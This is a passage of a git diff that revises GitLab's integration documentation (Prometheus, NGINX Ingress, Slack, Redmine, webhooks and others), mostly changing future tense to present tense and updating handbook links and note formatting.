from any source | No | +| [Generic alerts](../../../operations/incident_management/alert_integrations.md) **(ULTIMATE)** | Receive alerts on GitLab from any source | No | | [GitHub](github.md) **(PREMIUM)** | Sends pipeline notifications to GitHub | No | | [Hangouts Chat](hangouts_chat.md) | Receive events notifications in Google Hangouts Chat | No | | [HipChat](hipchat.md) | Private group chat and IM | No | @@ -69,7 +69,7 @@ Click on the service links to see further configuration instructions and details > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/17874) in GitLab 12.4. If a single push includes changes to more than three branches or tags, services -supported by `push_hooks` and `tag_push_hooks` events won't be executed. +supported by `push_hooks` and `tag_push_hooks` events aren't executed. The number of branches or tags supported can be changed via [`push_event_hooks_limit` application setting](../../../api/settings.md#list-of-settings-that-can-be-accessed-via-api-calls). diff --git a/doc/user/project/integrations/project_services.md b/doc/user/project/integrations/project_services.md index 90f91fbaa0d..69e2ea2856c 100644 --- a/doc/user/project/integrations/project_services.md +++ b/doc/user/project/integrations/project_services.md @@ -3,3 +3,6 @@ redirect_to: 'overview.md' --- This document was moved to [Integrations](overview.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/integrations/prometheus.md b/doc/user/project/integrations/prometheus.md index 97be16f8dd3..9d7960790ff 100644 --- a/doc/user/project/integrations/prometheus.md +++ b/doc/user/project/integrations/prometheus.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Prometheus integration @@ -19,7 +19,7 @@ There are two ways to set up Prometheus integration, depending on where your app - For deployments on Kubernetes, GitLab can automatically [deploy and manage Prometheus](#managed-prometheus-on-kubernetes). - For other deployment targets, simply [specify the Prometheus server](#manual-configuration-of-prometheus). -Once enabled, GitLab will automatically detect metrics from known services in the [metric library](prometheus_library/index.md). You can also [add your own metrics](../../../operations/metrics/index.md#adding-custom-metrics) and create +Once enabled, GitLab detects metrics from known services in the [metric library](prometheus_library/index.md). You can also [add your own metrics](../../../operations/metrics/index.md#adding-custom-metrics) and create [custom dashboards](../../../operations/metrics/dashboards/index.md). ## Enabling Prometheus Integration @@ -48,7 +48,7 @@ Once you have a connected Kubernetes cluster, deploying a managed Prometheus is Prometheus is deployed into the `gitlab-managed-apps` namespace, using the [official Helm chart](https://github.com/helm/charts/tree/master/stable/prometheus). Prometheus is only accessible within the cluster, with GitLab communicating through the [Kubernetes API](https://kubernetes.io/docs/concepts/overview/kubernetes-api/). -The Prometheus server will [automatically detect and monitor](https://prometheus.io/docs/prometheus/latest/configuration/configuration/#kubernetes_sd_config) nodes, pods, and endpoints. To configure a resource to be monitored by Prometheus, simply set the following [Kubernetes annotations](https://kubernetes.io/docs/concepts/overview/working-with-objects/annotations/): +The Prometheus server [automatically detects and monitors](https://prometheus.io/docs/prometheus/latest/configuration/configuration/#kubernetes_sd_config) nodes, pods, and endpoints. To configure a resource to be monitored by Prometheus, simply set the following [Kubernetes annotations](https://kubernetes.io/docs/concepts/overview/working-with-objects/annotations/): - `prometheus.io/scrape` to `true` to enable monitoring of the resource. - `prometheus.io/port` to define the port of the metrics endpoint. @@ -165,8 +165,8 @@ Installing and configuring Prometheus to monitor applications is fairly straight #### Configuration in GitLab -The actual configuration of Prometheus integration within GitLab is very simple. -All you will need is the domain name or IP address of the Prometheus server you'd like +The actual configuration of Prometheus integration within GitLab +requires the domain name or IP address of the Prometheus server you'd like to integrate with. If the Prometheus resource is secured with Google's Identity-Aware Proxy (IAP), additional information like Client ID and Service Account credentials can be passed which GitLab can use to access the resource. More information about authentication from a @@ -189,7 +189,7 @@ service account can be found at Google's documentation for #### Thanos configuration in GitLab You can configure [Thanos](https://thanos.io/) as a drop-in replacement for Prometheus -with GitLab. You will need the domain name or IP address of the Thanos server you'd like +with GitLab, using the domain name or IP address of the Thanos server you'd like to integrate with. 1. Navigate to the [Integrations page](overview.md#accessing-integrations). @@ -199,9 +199,10 @@ to integrate with. ### Precedence with multiple Prometheus configurations +12345678901234567890123456789012345678901234567890123456789012345678901234567890 Although you can enable both a [manual configuration](#manual-configuration-of-prometheus) -and [auto configuration](#managed-prometheus-on-kubernetes) of Prometheus, only -one of them will be used: +and [auto configuration](#managed-prometheus-on-kubernetes) of Prometheus, you +can use only one: - If you have enabled a [Prometheus manual configuration](#manual-configuration-of-prometheus) @@ -225,16 +226,16 @@ Developers can view the performance impact of their changes within the merge request workflow. This feature requires [Kubernetes](prometheus_library/kubernetes.md) metrics. When a source branch has been deployed to an environment, a sparkline and -numeric comparison of the average memory consumption will appear. On the +numeric comparison of the average memory consumption displays. On the sparkline, a dot indicates when the current changes were deployed, with up to 30 minutes of performance data displayed before and after. The comparison shows the difference between the 30 minute average before and after the deployment. This information is updated after each commit has been deployed. -Once merged and the target branch has been redeployed, the metrics will switch +Once merged and the target branch has been redeployed, the metrics switches to show the new environments this revision has been deployed to. -Performance data will be available for the duration it is persisted on the +Performance data is available for the duration it is persisted on the Prometheus server.  diff --git a/doc/user/project/integrations/prometheus_library/cloudwatch.md b/doc/user/project/integrations/prometheus_library/cloudwatch.md index 70f8a55bb07..b563dd34896 100644 --- a/doc/user/project/integrations/prometheus_library/cloudwatch.md +++ b/doc/user/project/integrations/prometheus_library/cloudwatch.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Monitoring AWS resources @@ -33,4 +33,4 @@ A sample Cloudwatch Exporter configuration file, configured for basic AWS ELB mo ## Specifying the Environment label In order to isolate and only display relevant metrics for a given environment -however, GitLab needs a method to detect which labels are associated. To do this, GitLab will [look for an `environment` label](index.md#identifying-environments). +however, GitLab needs a method to detect which labels are associated. To do this, GitLab [looks for an `environment` label](index.md#identifying-environments). diff --git a/doc/user/project/integrations/prometheus_library/haproxy.md b/doc/user/project/integrations/prometheus_library/haproxy.md index 0fbc49ddad7..c14c14658b7 100644 --- a/doc/user/project/integrations/prometheus_library/haproxy.md +++ b/doc/user/project/integrations/prometheus_library/haproxy.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Monitoring HAProxy @@ -28,4 +28,4 @@ To get started with NGINX monitoring, you should install and configure the [HAPr ## Specifying the Environment label In order to isolate and only display relevant metrics for a given environment -however, GitLab needs a method to detect which labels are associated. To do this, GitLab will [look for an `environment` label](index.md#identifying-environments). +however, GitLab needs a method to detect which labels are associated. To do this, GitLab [looks for an `environment` label](index.md#identifying-environments). diff --git a/doc/user/project/integrations/prometheus_library/index.md b/doc/user/project/integrations/prometheus_library/index.md index 35b111ab2b2..501e8ba7c1d 100644 --- a/doc/user/project/integrations/prometheus_library/index.md +++ b/doc/user/project/integrations/prometheus_library/index.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Prometheus Metrics library @@ -21,8 +21,8 @@ Currently supported exporters are: - [HAProxy](haproxy.md) - [Amazon Cloud Watch](cloudwatch.md) -We have tried to surface the most important metrics for each exporter, and will -be continuing to add support for additional exporters in future releases. If you +We have tried to surface the most important metrics for each exporter, and +continue to add support for additional exporters in future releases. If you would like to add support for other official exporters, contributions are welcome. ## Identifying Environments diff --git a/doc/user/project/integrations/prometheus_library/kubernetes.md b/doc/user/project/integrations/prometheus_library/kubernetes.md index 43c2d305437..ae330158a58 100644 --- a/doc/user/project/integrations/prometheus_library/kubernetes.md +++ b/doc/user/project/integrations/prometheus_library/kubernetes.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Monitoring Kubernetes diff --git a/doc/user/project/integrations/prometheus_library/metrics.md b/doc/user/project/integrations/prometheus_library/metrics.md index 7ace0ec5a93..a275efce5bb 100644 --- a/doc/user/project/integrations/prometheus_library/metrics.md +++ b/doc/user/project/integrations/prometheus_library/metrics.md @@ -3,3 +3,6 @@ redirect_to: 'index.md' --- This document was moved to [another location](index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/integrations/prometheus_library/nginx.md b/doc/user/project/integrations/prometheus_library/nginx.md index 1757378fb70..4cb827b3b4a 100644 --- a/doc/user/project/integrations/prometheus_library/nginx.md +++ b/doc/user/project/integrations/prometheus_library/nginx.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Monitoring NGINX @@ -29,11 +29,11 @@ NGINX server metrics are detected, which tracks the pages and content directly s ## Configuring Prometheus to monitor for NGINX metrics -To get started with NGINX monitoring, you should first enable the [VTS statistics](https://github.com/vozlt/nginx-module-vts) module for your NGINX server. This will capture and display statistics in an HTML readable form. Next, you should install and configure the [NGINX VTS exporter](https://github.com/hnlq715/nginx-vts-exporter) which parses these statistics and translates them into a Prometheus monitoring endpoint. +To get started with NGINX monitoring, you should first enable the [VTS statistics](https://github.com/vozlt/nginx-module-vts) module for your NGINX server. This captures and displays statistics in an HTML readable form. Next, you should install and configure the [NGINX VTS exporter](https://github.com/hnlq715/nginx-vts-exporter) which parses these statistics and translates them into a Prometheus monitoring endpoint. -If you are using NGINX as your Kubernetes Ingress, GitLab will [automatically detect](nginx_ingress.md) the metrics once enabled in 0.9.0 and later releases. +If you are using NGINX as your Kubernetes Ingress, GitLab [automatically detects](nginx_ingress.md) the metrics once enabled in 0.9.0 and later releases. ## Specifying the Environment label In order to isolate and only display relevant metrics for a given environment -however, GitLab needs a method to detect which labels are associated. To do this, GitLab will [look for an `environment` label](index.md#identifying-environments). +however, GitLab needs a method to detect which labels are associated. To do this, GitLab [looks for an `environment` label](index.md#identifying-environments). diff --git a/doc/user/project/integrations/prometheus_library/nginx_ingress.md b/doc/user/project/integrations/prometheus_library/nginx_ingress.md index fdea800c410..f7542ec78f7 100644 --- a/doc/user/project/integrations/prometheus_library/nginx_ingress.md +++ b/doc/user/project/integrations/prometheus_library/nginx_ingress.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Monitoring NGINX Ingress Controller @@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w GitLab has support for automatically detecting and monitoring the Kubernetes NGINX Ingress controller. This is provided by leveraging the built-in Prometheus metrics included with Kubernetes NGINX Ingress controller [version 0.16.0](https://github.com/kubernetes/ingress-nginx/blob/master/Changelog.md#0160) onward. -NOTE: **Note:** +NOTE: NGINX Ingress versions prior to 0.16.0 offer an included [VTS Prometheus metrics exporter](nginx_ingress_vts.md), which exports metrics different than the built-in metrics. ## Requirements @@ -27,7 +27,7 @@ NGINX Ingress versions prior to 0.16.0 offer an included [VTS Prometheus metrics ## Configuring NGINX Ingress monitoring -If you have deployed NGINX Ingress using GitLab's [Kubernetes cluster integration](../../clusters/index.md#installing-applications), it will [automatically be monitored](#about-managed-nginx-ingress-deployments) by Prometheus. +If you have deployed NGINX Ingress using the GitLab [Kubernetes cluster integration](../../clusters/index.md#installing-applications), Prometheus [automatically monitors it](#about-managed-nginx-ingress-deployments). For other deployments, there is [some configuration](#manually-setting-up-nginx-ingress-for-prometheus-monitoring) required depending on your installation: @@ -37,7 +37,7 @@ For other deployments, there is [some configuration](#manually-setting-up-nginx- ### About managed NGINX Ingress deployments -NGINX Ingress is deployed into the `gitlab-managed-apps` namespace, using the [official Helm chart](https://github.com/helm/charts/tree/master/stable/nginx-ingress). NGINX Ingress will be [externally reachable via the Load Balancer's Endpoint](../../../clusters/applications.md#ingress). +NGINX Ingress is deployed into the `gitlab-managed-apps` namespace, using the [official Helm chart](https://github.com/helm/charts/tree/master/stable/nginx-ingress). NGINX Ingress is [externally reachable via the Load Balancer's Endpoint](../../../clusters/applications.md#ingress). NGINX is configured for Prometheus monitoring, by setting: @@ -45,11 +45,11 @@ NGINX is configured for Prometheus monitoring, by setting: - `prometheus.io/scrape: "true"`, to enable automatic discovery. - `prometheus.io/port: "10254"`, to specify the metrics port. -When used in conjunction with the GitLab deployed Prometheus service, response metrics will be automatically collected. +When used in conjunction with the GitLab deployed Prometheus service, response metrics are automatically collected. ### Manually setting up NGINX Ingress for Prometheus monitoring -Version 0.9.0 and above of [NGINX Ingress](https://github.com/kubernetes/ingress-nginx) have built-in support for exporting Prometheus metrics. To enable, a ConfigMap setting must be passed: `enable-vts-status: "true"`. Once enabled, a Prometheus metrics endpoint will start running on port 10254. +Version 0.9.0 and above of [NGINX Ingress](https://github.com/kubernetes/ingress-nginx) have built-in support for exporting Prometheus metrics. To enable, a ConfigMap setting must be passed: `enable-vts-status: "true"`. Once enabled, a Prometheus metrics endpoint starts running on port 10254. Next, the Ingress needs to be annotated for Prometheus monitoring. Two new annotations need to be added: @@ -60,6 +60,6 @@ Managing these settings depends on how NGINX Ingress has been deployed. If you h ## Specifying the Environment label -In order to isolate and only display relevant metrics for a given environment, GitLab needs a method to detect which labels are associated. To do this, GitLab will search for metrics with appropriate labels. In this case, the `ingress` label must `<CI_ENVIRONMENT_SLUG>`. +In order to isolate and only display relevant metrics for a given environment, GitLab needs a method to detect which labels are associated. To do this, GitLab searches for metrics with appropriate labels. In this case, the `ingress` label must `<CI_ENVIRONMENT_SLUG>`. -If you have used [Auto Deploy](../../../../topics/autodevops/stages.md#auto-deploy) to deploy your app, this format will be used automatically and metrics will be detected with no action on your part. +If you have used [Auto Deploy](../../../../topics/autodevops/stages.md#auto-deploy) to deploy your app, this format is used automatically and metrics are detected with no action on your part. diff --git a/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md b/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md index ec7b1ee6d10..c855e564753 100644 --- a/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md +++ b/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md @@ -1,14 +1,14 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Monitoring NGINX Ingress Controller with VTS metrics > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13438) in GitLab 9.5. -NOTE: **Note:** +NOTE: [NGINX Ingress version 0.16](nginx_ingress.md) and above have built-in Prometheus metrics, which are different than the VTS based metrics. GitLab has support for automatically detecting and monitoring the Kubernetes NGINX Ingress controller. This is provided by leveraging the included VTS Prometheus metrics exporter in [version 0.9.0](https://github.com/kubernetes/ingress-nginx/blob/master/Changelog.md#09-beta1) through [0.15.x](https://github.com/kubernetes/ingress-nginx/blob/master/Changelog.md#0150). @@ -27,7 +27,7 @@ GitLab has support for automatically detecting and monitoring the Kubernetes NGI ## Configuring NGINX Ingress monitoring -If you have deployed NGINX Ingress using GitLab's [Kubernetes cluster integration](../../clusters/index.md#installing-applications), it will [automatically be monitored](#about-managed-nginx-ingress-deployments) by Prometheus. +If you have deployed NGINX Ingress using the GitLab [Kubernetes cluster integration](../../clusters/index.md#installing-applications), Prometheus [automatically monitors](#about-managed-nginx-ingress-deployments) it. For other deployments, there is [some configuration](#manually-setting-up-nginx-ingress-for-prometheus-monitoring) required depending on your installation: @@ -37,7 +37,7 @@ For other deployments, there is [some configuration](#manually-setting-up-nginx- ### About managed NGINX Ingress deployments -NGINX Ingress is deployed into the `gitlab-managed-apps` namespace, using the [official Helm chart](https://github.com/helm/charts/tree/master/stable/nginx-ingress). NGINX Ingress will be [externally reachable via the Load Balancer's Endpoint](../../../clusters/applications.md#ingress). +NGINX Ingress is deployed into the `gitlab-managed-apps` namespace, using the [official Helm chart](https://github.com/helm/charts/tree/master/stable/nginx-ingress). NGINX Ingress is [externally reachable via the Load Balancer's Endpoint](../../../clusters/applications.md#ingress). NGINX is configured for Prometheus monitoring, by setting: @@ -45,11 +45,11 @@ NGINX is configured for Prometheus monitoring, by setting: - `prometheus.io/scrape: "true"`, to enable automatic discovery. - `prometheus.io/port: "10254"`, to specify the metrics port. -When used in conjunction with the GitLab deployed Prometheus service, response metrics will be automatically collected. +When used in conjunction with the GitLab deployed Prometheus service, response metrics are automatically collected. ### Manually setting up NGINX Ingress for Prometheus monitoring -Version 0.9.0 and above of [NGINX Ingress](https://github.com/kubernetes/ingress-nginx) has built-in support for exporting Prometheus metrics. To enable, a ConfigMap setting must be passed: `enable-vts-status: "true"`. Once enabled, a Prometheus metrics endpoint will start running on port 10254. +Version 0.9.0 and above of [NGINX Ingress](https://github.com/kubernetes/ingress-nginx) has built-in support for exporting Prometheus metrics. To enable, a ConfigMap setting must be passed: `enable-vts-status: "true"`. Once enabled, a Prometheus metrics endpoint begins running on port 10254. Next, the Ingress needs to be annotated for Prometheus monitoring. Two new annotations need to be added: @@ -60,6 +60,6 @@ Managing these settings depends on how NGINX Ingress has been deployed. If you h ## Specifying the Environment label -In order to isolate and only display relevant metrics for a given environment, GitLab needs a method to detect which labels are associated. To do this, GitLab will search for metrics with appropriate labels. In this case, the `upstream` label must be of the form `<KUBE_NAMESPACE>-<CI_ENVIRONMENT_SLUG>-*`. +In order to isolate and only display relevant metrics for a given environment, GitLab needs a method to detect which labels are associated. To do this, GitLab searches for metrics with appropriate labels. In this case, the `upstream` label must be of the form `<KUBE_NAMESPACE>-<CI_ENVIRONMENT_SLUG>-*`. -If you have used [Auto Deploy](../../../../topics/autodevops/stages.md#auto-deploy) to deploy your app, this format will be used automatically and metrics will be detected with no action on your part. +If you have used [Auto Deploy](../../../../topics/autodevops/stages.md#auto-deploy) to deploy your app, this format is used automatically and metrics are detected with no action on your part. diff --git a/doc/user/project/integrations/prometheus_units.md b/doc/user/project/integrations/prometheus_units.md index ee4f3ed77d4..0c2ce3002ee 100644 --- a/doc/user/project/integrations/prometheus_units.md +++ b/doc/user/project/integrations/prometheus_units.md @@ -3,3 +3,6 @@ redirect_to: '../../../operations/metrics/dashboards/yaml_number_format.md' --- This document was moved to [another location](../../../operations/metrics/dashboards/yaml_number_format.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/integrations/redmine.md b/doc/user/project/integrations/redmine.md index 2a85dd9b79b..38d6194b390 100644 --- a/doc/user/project/integrations/redmine.md +++ b/doc/user/project/integrations/redmine.md @@ -1,7 +1,7 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Redmine Service @@ -15,9 +15,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w | ----- | ----------- | | `project_url` | The URL to the project in Redmine which is being linked to this GitLab project | | `issues_url` | The URL to the issue in Redmine project that is linked to this GitLab project. Note that the `issues_url` requires `:id` in the URL. This ID is used by GitLab as a placeholder to replace the issue number. | - | `new_issue_url` | This is the URL to create a new issue in Redmine for the project linked to this GitLab project. **This is currently not being used and will be removed in a future release.** | + | `new_issue_url` | This is the URL to create a new issue in Redmine for the project linked to this GitLab project. **This is currently not being used and is planned be removed in a future release.** | - Once you have configured and enabled Redmine you'll see the Redmine link on the GitLab project pages that takes you to the appropriate Redmine project. + Once you have configured and enabled Redmine, you see the Redmine link on the GitLab project pages that takes you to the appropriate Redmine project. As an example, below is a configuration for a project named `gitlab-ci`. @@ -34,7 +34,7 @@ Issues in Redmine can be referenced in two alternative ways: then followed by capital letters, numbers or underscores, and `<ID>` is a number (example `API_32-143`). -We suggest using the longer format if you have both internal and external issue trackers enabled. If you use the shorter format and an issue with the same ID exists in the internal issue tracker the internal issue will be linked. +We suggest using the longer format if you have both internal and external issue trackers enabled. If you use the shorter format and an issue with the same ID exists in the internal issue tracker, the internal issue is linked. Please note that `<PROJECT>` part is ignored and links always point to the address specified in `issues_url`. diff --git a/doc/user/project/integrations/servicenow.md b/doc/user/project/integrations/servicenow.md index d549921b9d9..1de69f60a34 100644 --- a/doc/user/project/integrations/servicenow.md +++ b/doc/user/project/integrations/servicenow.md @@ -1,7 +1,7 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # ServiceNow integration diff --git a/doc/user/project/integrations/services_templates.md b/doc/user/project/integrations/services_templates.md index abb072c9a0a..a60af93a899 100644 --- a/doc/user/project/integrations/services_templates.md +++ b/doc/user/project/integrations/services_templates.md @@ -1,7 +1,7 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Service templates @@ -24,8 +24,7 @@ If you disable the template: - GitLab default values again become the default values for integrations on new projects. -- Projects previously configured using the template will continue to use - those settings. +- Projects previously configured using the template continue to use those settings. If you change the template, the revised values are applied to new projects. This feature does not provide central administration of integration settings. @@ -49,7 +48,7 @@ Recommendation: - Copy the working settings from a project to the template. There is no "Test settings" option when enabling templates. If the settings do not work, -these incorrect settings will be applied to all existing projects that do not already have +these incorrect settings are applied to all existing projects that do not already have the integration configured. Fixing the integration then needs to be done project-by-project. ## Service for external issue trackers @@ -58,6 +57,6 @@ The following image shows an example service template for Redmine.  -For each project, you will still need to configure the issue tracking +For each project, you still need to configure the issue tracking URLs by replacing `:issues_tracker_id` in the above screenshot with the ID used by your external issue tracker. diff --git a/doc/user/project/integrations/slack.md b/doc/user/project/integrations/slack.md index e6f12c2532f..9e9f5b8297f 100644 --- a/doc/user/project/integrations/slack.md +++ b/doc/user/project/integrations/slack.md @@ -1,7 +1,7 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Slack Notifications Service @@ -10,16 +10,16 @@ The Slack Notifications Service allows your GitLab project to send events (such as issue creation) to your existing Slack team as notifications. Setting up Slack notifications requires configuration changes for both Slack and GitLab. -NOTE: **Note:** +NOTE: You can also use Slack slash commands to control GitLab inside Slack. This is the separately configured [Slack slash commands](slack_slash_commands.md). ## Slack configuration 1. Sign in to your Slack team and [start a new Incoming WebHooks configuration](https://my.slack.com/services/new/incoming-webhook). -1. Select the Slack channel where notifications will be sent to by default. +1. Select the Slack channel where notifications should be sent to by default. Click the **Add Incoming WebHooks integration** button to add the configuration. -1. Copy the **Webhook URL**, which we will use later in the GitLab configuration. +1. Copy the **Webhook URL**, which we use later in the GitLab configuration. ## GitLab configuration @@ -36,7 +36,7 @@ separately configured [Slack slash commands](slack_slash_commands.md). - To send messages to channels, enter the Slack channel names, separated by commas. - To send direct messages, use the Member ID found in the user's Slack profile. - NOTE: **Note:** + NOTE: Usernames and private channels are not supported. 1. In **Webhook**, provide the webhook URL that you copied from the @@ -47,7 +47,7 @@ separately configured [Slack slash commands](slack_slash_commands.md). to send notifications for. 1. Click **Test settings and save changes**. -Your Slack team will now start receiving GitLab event notifications as configured. +Your Slack team now starts receiving GitLab event notifications as configured. ### Triggers available for Slack notifications @@ -110,7 +110,7 @@ result = Net::HTTP.get(URI('https://<GITLAB URL>'));0 ``` If GitLab is not trusting HTTPS connections to itself, then you may -need to [add your certificate to GitLab's trusted certificates](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates). +need to [add your certificate to the GitLab trusted certificates](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates). If GitLab is not trusting connections to Slack, then the GitLab OpenSSL trust store is incorrect. Some typical causes: overriding diff --git a/doc/user/project/integrations/slack_slash_commands.md b/doc/user/project/integrations/slack_slash_commands.md index 7c2413fce81..1e4577fb88e 100644 --- a/doc/user/project/integrations/slack_slash_commands.md +++ b/doc/user/project/integrations/slack_slash_commands.md @@ -1,7 +1,7 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Slack slash commands **(CORE ONLY)** @@ -14,7 +14,7 @@ Slack, without having to leave it. This requires configurations in both Slack an GitLab can also send events (e.g., `issue created`) to Slack as notifications. This is the separately configured [Slack Notifications Service](slack.md). -NOTE: **Note:** +NOTE: For GitLab.com, use the [Slack app](gitlab_slack_application.md) instead. ## Configuration diff --git a/doc/user/project/integrations/unify_circuit.md b/doc/user/project/integrations/unify_circuit.md index c4959a8711b..e8dcb577aba 100644 --- a/doc/user/project/integrations/unify_circuit.md +++ b/doc/user/project/integrations/unify_circuit.md @@ -1,7 +1,7 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Unify Circuit service @@ -12,7 +12,8 @@ The Unify Circuit service sends notifications from GitLab to the conversation fo 1. Open the conversation in which you want to see the notifications. 1. From the conversation menu, select **Configure Webhooks**. -1. Click **ADD WEBHOOK** and fill in the name of the bot that will post the messages. Optionally define avatar. +1. Click **ADD WEBHOOK** and fill in the name of the bot to post the messages. Optionally + define an avatar. 1. Click **SAVE** and copy the **Webhook URL** of your webhook. For more information, see the [Unify Circuit documentation for configuring incoming webhooks](https://www.circuit.com/unifyportalfaqdetail?articleId=164448). @@ -28,6 +29,6 @@ When you have the **Webhook URL** for your Unify Circuit conversation webhook, y 1. Paste the **Webhook URL** that you copied from the Unify Circuit configuration step. 1. Configure the remaining options and click `Save changes`. -Your Unify Circuit conversation will now start receiving GitLab event notifications as configured. +Your Unify Circuit conversation now starts receiving GitLab event notifications as configured.  diff --git a/doc/user/project/integrations/webex_teams.md b/doc/user/project/integrations/webex_teams.md index 7654909b735..8a3383fd0e7 100644 --- a/doc/user/project/integrations/webex_teams.md +++ b/doc/user/project/integrations/webex_teams.md @@ -1,7 +1,7 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Webex Teams service @@ -10,7 +10,7 @@ You can configure GitLab to send notifications to a Webex Teams space. ## Create a webhook for the space -1. Go to the [Incoming Webhooks app page](https://apphub.webex.com/teams/applications/incoming-webhooks-cisco-systems-38054). +1. Go to the [Incoming Webhooks app page](https://apphub.webex.com/messaging/applications/incoming-webhooks-cisco-systems-38054). 1. Click **Connect** and log in to Webex Teams, if required. 1. Enter a name for the webhook and select the space to receive the notifications. 1. Click **ADD**. diff --git a/doc/user/project/integrations/webhooks.md b/doc/user/project/integrations/webhooks.md index 6a436c5093e..d8b51e8b777 100644 --- a/doc/user/project/integrations/webhooks.md +++ b/doc/user/project/integrations/webhooks.md @@ -1,18 +1,18 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Webhooks Project webhooks allow you to trigger a URL if for example new code is pushed or a new issue is created. You can configure webhooks to listen for specific events -like pushes, issues or merge requests. GitLab will send a POST request with data +like pushes, issues or merge requests. GitLab sends a POST request with data to the webhook URL. -In most cases, you'll need to set up your own [webhook receiver](#example-webhook-receiver) -to receive information from 